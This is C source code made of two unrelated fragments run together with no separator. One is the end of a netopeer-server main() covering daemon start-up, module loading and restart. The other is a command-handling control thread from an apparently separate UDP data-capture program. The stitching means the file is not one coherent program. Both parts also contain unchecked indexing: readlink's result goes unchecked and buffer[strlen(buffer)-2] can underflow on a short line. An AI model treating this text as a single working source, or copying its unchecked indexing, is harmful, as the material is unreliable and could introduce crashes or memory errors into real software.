NC_VERB_DEBUG) { netopeer_options.verbose = NC_VERB_DEBUG; } nc_verbosity(netopeer_options.verbose); /* go to the background as a daemon */ if (daemonize == 1) { if (daemon(0, 0) != 0) { nc_verb_error("Going to background failed (%s)", strerror(errno)); return EXIT_FAILURE; } openlog("netopeer-server", LOG_PID, LOG_DAEMON); } else { openlog("netopeer-server", LOG_PID|LOG_PERROR, LOG_DAEMON); } /* make sure we were executed by root */ if (geteuid() != 0) { nc_verb_error("Failed to start, must have root privileges."); return EXIT_FAILURE; } /* * this initialize the library and check potential ABI mismatches * between the version it was compiled for and the actual shared * library used. */ LIBXML_TEST_VERSION /* initialize library including internal datastores and maybee something more */ if (nc_init(NC_INIT_ALL | NC_INIT_MULTILAYER) < 0) { nc_verb_error("Library initialization failed."); return EXIT_FAILURE; } server_start = 1; restart: /* start NETCONF server module */ if ((server_module = calloc(1, sizeof(struct np_module))) == NULL) { nc_verb_error("Creating necessary NETCONF server plugin failed!"); return EXIT_FAILURE; } server_module->name = strdup(NCSERVER_MODULE_NAME); if (module_enable(server_module, 0)) { nc_verb_error("Starting necessary NETCONF server plugin failed!"); free(server_module->name); free(server_module); return EXIT_FAILURE; } /* start netopeer device module - it will start all modules that are * in its configuration and in server configuration */ if ((netopeer_module = calloc(1, sizeof(struct np_module))) == NULL) { nc_verb_error("Creating necessary Netopeer plugin failed!"); module_disable(server_module, 1); return EXIT_FAILURE; } netopeer_module->name = strdup(NETOPEER_MODULE_NAME); if (module_enable(netopeer_module, 0)) { nc_verb_error("Starting necessary Netopeer plugin failed!"); module_disable(server_module, 1); free(netopeer_module->name); free(netopeer_module); return EXIT_FAILURE; } server_start = 0; nc_verb_verbose("Netopeer server successfully initialized."); listen_loop(listen_init); /* unload Netopeer module -> unload all modules */ module_disable(server_module, 1); module_disable(netopeer_module, 1); /* main cleanup */ if (!restart_soft) { /* close libnetconf only when shutting down or hard restarting the server */ nc_close(); } if (restart_soft) { nc_verb_verbose("Server is going to soft restart."); restart_soft = 0; listen_init = 0; goto restart; } else if (restart_hard) { nc_verb_verbose("Server is going to hard restart."); len = readlink("/proc/self/exe", path, PATH_MAX); path[len] = 0; xmlCleanupParser(); execv(path, argv); } /* *Free the global variables that may *have been allocated by the parser. */ xmlCleanupParser(); return EXIT_SUCCESS; }
/* * Thread to control the acquisition of data, allows only 1 connection at a time */ void control_thread (void * arg) { udpdb_t * ctx = (udpdb_t *) arg; if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: starting\n"); // port on which to listen for control commands int port = ctx->control_port; // buffer for incoming command strings int bufsize = 1024; char* buffer = (char *) malloc (sizeof(char) * bufsize); assert (buffer != 0); const char* whitespace = " \r\t\n"; char * command = 0; char * args = 0; //time_t utc_start = 0; FILE *sockin = 0; FILE *sockout = 0; int listen_fd = 0; int fd = 0; char *rgot = 0; int readsocks = 0; fd_set socks; struct timeval timeout; // create a socket on which to listen if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: creating socket on port %d\n", port); listen_fd = sock_create (&port); if (listen_fd < 0) { multilog(ctx->log, LOG_ERR, "Failed to create socket for control commands: %s\n", strerror(errno)); free (buffer); return; } while (!quit_threads) { // reset the FD set for selecting FD_ZERO(&socks); FD_SET(listen_fd, &socks); timeout.tv_sec = 1; timeout.tv_usec = 0; readsocks = select(listen_fd+1, &socks, (fd_set *) 0, (fd_set *) 0, &timeout); // error on select if (readsocks < 0) { perror("select"); exit(EXIT_FAILURE); } // no connections, just ignore else if (readsocks == 0) { } // accept the connection else { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: accepting conection\n"); fd = sock_accept (listen_fd); if (fd < 0) { multilog(ctx->log, LOG_WARNING, "control_thread: Error accepting " "connection %s\n", strerror(errno)); break; } sockin = fdopen(fd,"r"); if (!sockin) multilog(ctx->log, LOG_WARNING, "control_thread: error creating input " "stream %s\n", strerror(errno)); sockout = fdopen(fd,"w"); if (!sockout) multilog(ctx->log, LOG_WARNING, "control_thread: error creating output " "stream %s\n", strerror(errno)); setbuf (sockin, 0); setbuf (sockout, 0); rgot = fgets (buffer, bufsize, sockin); //if (rgot && !feof(sockin)) { while (rgot && !feof(sockin)) { buffer[strlen(buffer)-2] = '\0'; args = buffer; // parse the command and arguements command = strsep (&args, whitespace); if (ctx->verbose) { multilog(ctx->log, LOG_INFO, "control_thread: command=%s\n", command); if (args != NULL) multilog(ctx->log, LOG_INFO, "control_thread: args=%s\n", args); } // REQUEST STATISTICS if (strcmp(command, "STATS") == 0) { fprintf (sockout, "mb_rcv_ps=%4.1f,mb_drp_ps=%4.1f," "ooo_pkts=%"PRIu64",mb_free=%4.1f,mb_total=%4.1f\r\n", ctx->mb_rcv_ps, ctx->mb_drp_ps, ctx->ooo_packets, ctx->mb_free, ctx->mb_total); fprintf (sockout, "ok\r\n"); } else if (strcmp(command, "SET_UTC_START") == 0) { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: SET_UTC_START command received\n"); if (args == NULL) { multilog(ctx->log, LOG_ERR, "control_thread: no time specified for SET_UTC_START\n"); fprintf(sockout, "fail\r\n"); } else { time_t utc = str2utctime (args); if (utc == (time_t)-1) { multilog(ctx->log, LOG_WARNING, "control_thread: could not parse " "UTC_START time from %s\n", args); fprintf(sockout, "fail\r\n"); } else { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: parsed UTC_START as %d\n", utc); // set global utc_start to parsed value, used when START command arrives utc_start = utc; fprintf(sockout, "ok\r\n"); multilog(ctx->log, LOG_INFO, "set_utc_start %s\n", args); } } } // START COMMAND else if (strcmp(command, "START") == 0) { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: START command received\n"); start_pending = 1; while (recording != 1) { //sleep(1); usleep(100000); } start_pending = 0; fprintf(sockout, "ok\r\n"); if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: recording started\n"); } // FLUSH COMMAND - stop acquisition of data, but flush all packets already received else if (strcmp(command, "FLUSH") == 0) { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: FLUSH command received, stopping recording\n"); stop_pending = 1; while (recording != 0) { sleep(1); } stop_pending = 0; fprintf(sockout, "ok\r\n"); if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: recording stopped\n"); } // UTC_STOP command else if (strcmp(command, "UTC_STOP") == 0) { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: UTC_STOP command received\n"); if (args == NULL) { multilog(ctx->log, LOG_ERR, "control_thread: no UTC specified for UTC_STOP\n"); fprintf(sockout, "fail\r\n"); } else { time_t utc = str2utctime (args); if (utc == (time_t)-1) { multilog(ctx->log, LOG_WARNING, "control_thread: could not parse " "UTC_STOP time from %s\n", args); fprintf(sockout, "fail\r\n"); } else { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: parsed UTC_STOP as %d\n", utc); uint64_t byte_to_stop = (utc - utc_start); byte_to_stop *= 800 * 1000 * 1000; if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: total_secs=%d, " "stopping byte=%"PRIu64"\n", (utc - utc_start), byte_to_stop); stop_byte = byte_to_stop; stop_pending = 0; utc_start = 0; fprintf(sockout, "ok\r\n"); multilog(ctx->log, LOG_INFO, "utc_stop %s\n", args); } } } // STOP command, stops immediately else if (strcmp(command, "STOP") == 0) { if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: STOP command received, stopping immediately\n"); stop_pending = 2; stop_byte = (ctx->last_byte > 0) ? ctx->last_byte : 1; while (recording != 0) { sleep(1); } stop_pending = 0; fprintf(sockout, "ok\r\n"); if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: recording stopped\n"); } // QUIT COMMAND, immediately exit else if (strcmp(command, "QUIT") == 0) { multilog(ctx->log, LOG_INFO, "control_thread: QUIT command received, exiting\n"); quit_threads = 1; fprintf(sockout, "ok\r\n"); close(fd); break; } // UNRECOGNISED COMMAND else { multilog(ctx->log, LOG_WARNING, "control_thread: unrecognised command: %s\n", buffer); fprintf(sockout, "fail\r\n"); } // try to read the next line of input rgot = fgets (buffer, bufsize, sockin); } close(fd); } //close(fd); } close(listen_fd); free (buffer); if (ctx->verbose) multilog(ctx->log, LOG_INFO, "control_thread: exiting\n"); }